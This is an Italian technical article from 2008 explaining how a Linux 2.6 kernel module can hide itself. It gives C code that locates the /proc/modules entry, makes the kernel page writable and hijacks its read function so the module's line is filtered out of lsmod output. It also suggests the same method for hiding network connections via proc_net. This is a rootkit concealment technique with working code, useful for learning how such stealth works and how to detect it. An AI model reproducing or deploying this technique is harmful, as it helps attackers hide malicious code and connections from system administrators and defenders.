

Hiding LKM 2.6

Alessandro Reina

January 14, 2008

Contents

1	/proc File System	3
1.1	/proc e file operations	3
2	Hiding del Kernel Module	5

1 /proc File System

Il kernel di Linux sfrutta il file system `/proc` per trasmettere informazioni ai processi attualmente in esecuzione. In questo articolo ci concentreremo solamente sul file `/proc/modules` il quale fornisce la lista dei kernel module attualmente caricati nel kernel.

Tutti i file in `/proc` risiedono in memoria, e quando si effettua il reboot del sistema tali file saranno distrutti dato che `/proc` è un file system che rappresenta mediante una gerarchia di file speciali lo stato corrente del kernel, ovvero informazioni riguardanti l'hardware e dei processi correntemente in esecuzione. Inoltre alcuni file possono essere usati, da utenti ed applicazioni, per comunicare al kernel cambiamenti di configurazione.

Per utilizzare il file system `proc` è necessario creare ed inizializzare per ogni file la struttura `struct proc_dir_entry`, la quale contiene tutte le informazioni necessario al file, inclusi il puntatore alle *file operations* ed agli *handler function*.

La dichiarazione della struttura è presente in `linux/proc_fs.h`:

```
struct proc_dir_entry {
    unsigned int low_ino;
    unsigned short namelen;
    const char *name; // name of the file
    mode_t mode;
    nlink_t nlink;
    uid_t uid; // owner ID of the file
    gid_t gid; // owner group ID of the file
    loff_t size;
    struct inode_operations * proc_iops; // inode operations table
    const struct file_operations * proc_fops; // file operations table
    get_info_t *get_info;
    struct module *owner;
    // next points to the next entry. This is the list of all the entries in a directory.
    // parent points to the parent entry.
    // subdir points to the first child
    struct proc_dir_entry *next, *parent, *subdir;
    void *data;
    read_proc_t *read_proc; // read handler
    write_proc_t *write_proc; // write handler
    atomic_t count; /* use count */
    int deleted; /* delete flag */
    void *set;
};
```

1.1 /proc e file operations

All'interno della struttura `struct proc_dir_entry`, descritta in precedenza, si può vedere la presenza del campo `const struct file_operations * proc_fops`, che non è nient'altro che un puntatore ad una struttura `file_operations` che contiene a sua volta puntatori alle funzioni che saranno usate per gestire il file proprietario di quella struttura.

In quanto siamo interessati alla `proc_dir_entry` relativa a `modules` analizziamo la struttura della sua `file_operations` definita in `/fs/proc/proc_misc.c`:

```
static struct file_operations proc_modules_operations = {
    .open    = modules_open,
    .read    = seq_read,
    .llseek  = seq_lseek,
    .release = seq_release,
};
```

Quando si richiede la lettura del file `/proc/modules`, trascurando i dettagli senza perdere di generalità, viene chiamata la funzione `seq_read`. Questa funzione semplicemente riempie un buffer in *user space* con i dati presenti nel file.

Il prototipo della funzione `seq_read` dichiarato in `linux/seq_file.h` è il seguente:

```
/**
 * seq_read - ->read() method for sequential files.
 * @file: the file to read from
 * @buf: the buffer to read to
 * @size: the maximum number of bytes to read
 * @ppos: the current position in the file
 *
 * Ready-made ->f_op->read()
 */
ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos);
```

2 Hiding del Kernel Module

Come già descritto nella sezione precedente le informazioni che possono essere reperite dall'utente per conoscere se un modulo è stato caricato nel kernel o meno, sono basate sulla lettura del file `/proc/modules`.

La tecnica che è stata pensata e realizzata, prefigge il suo obiettivo nell'andare a modificare il puntatore a funzione della struttura `file_operations` relativa al campo `read` della entry riferita a `modules` sostituendolo con il puntatore alla funzione da noi modificata.

Per individuare l'entry relativa a `modules`, si ricerca tale entry partendo dalla prima entry `proc_root_fs` ed esaminando tutte le entry della directory finchè si trova la entry corrispondente.

```
struct proc_dir_entry *get_proc_entry(char *filename)
{
    struct proc_dir_entry *e=proc_root_fs;
    /* entry name is stored into e->name */
    while((e!=NULL) && (strcmp(e->name, filename)))
        e= e->next;

    return e;
}
```

Una volta trovata la entry si procede salvando il puntatore della funzione `seq_read` reperito accedendo alla struttura `proc_fops->read` e sostituendo il valore del campo `read` con il puntatore alla nostra funzione modificata `wrap_seq_read`. Inoltre vengono modificati i permessi alla pagina riferita dalla struttura `file_operations` della entry individuata per assicurarsi di poter leggere, scrivere ed eseguire.

```
struct file_operations * o_fops;
int init_module(void)
{
    static struct proc_dir_entry *wrap_proc_entry= NULL;

    struct page *pg_proc_mod;
    pgprot_t prot;

    /* fix kernel permission */
    prot.pgprot= VM_READ|VM_WRITE|VM_EXEC; /* R-W-X */

    wrap_proc_entry= get_proc_entry("modules");
    if(wrap_proc_entry!=NULL)
    {
        printk(KERN_INFO "[*] - Loading hiding module\n");
        o_fops= (void*)wrap_proc_entry->proc_fops;
        /* fix kernel permission */
        pg_proc_mod= virt_to_page(o_fops);
        change_page_attr(pg_proc_mod, 1, prot);
        o_seq_read= o_fops->read;

        /* replace old proc_fops ptr to the new one, hijacked! :D */
        o_fops->read= wrap_seq_read;
    }

    /* A non 0 return means init_module failed; module can't be loaded. */
    return 0;
}
```

Una volta eseguito l'hijacking con la funzione `wrap_seq_read` procediamo alla sua descrizione. Quando viene effettuata una richiesta di lettura del file `modules`, la nostra funzione modificata la intercetterà

e provvederà a richiamare la funzione `seq_read` originale finchè tutto il file è sarà stato letto e memorizzato in un buffer.

Tale buffer viene quindi esaminato dalla funzione `remake_buffer` che ricerca, leggendo linea per linea, un matching con la stringa `module_name`, quindi elimina tale linea ritornando il buffer modificato.

Il buffer restituito dalla funzione `remake_buffer` sarà quindi copiato in `user space` attraverso la funzione `copy_to_user`. La funzione `wrap_seq_read` potrà quindi restituire la dimensione del buffer modificato.

In questo modo l'output (visualizzato oppure esaminato da programmi come `lsmod`) non conterrà la entry relativa al modulo che si vuole nascondere.

Utilizzando tale tecnica è quindi possibile, ad esempio, andare ad occultare la connessione utilizzando le medesime funzioni descritte in precedenza con il solo accorgimento di scegliere come `proc_dir_entry`, `proc_net`.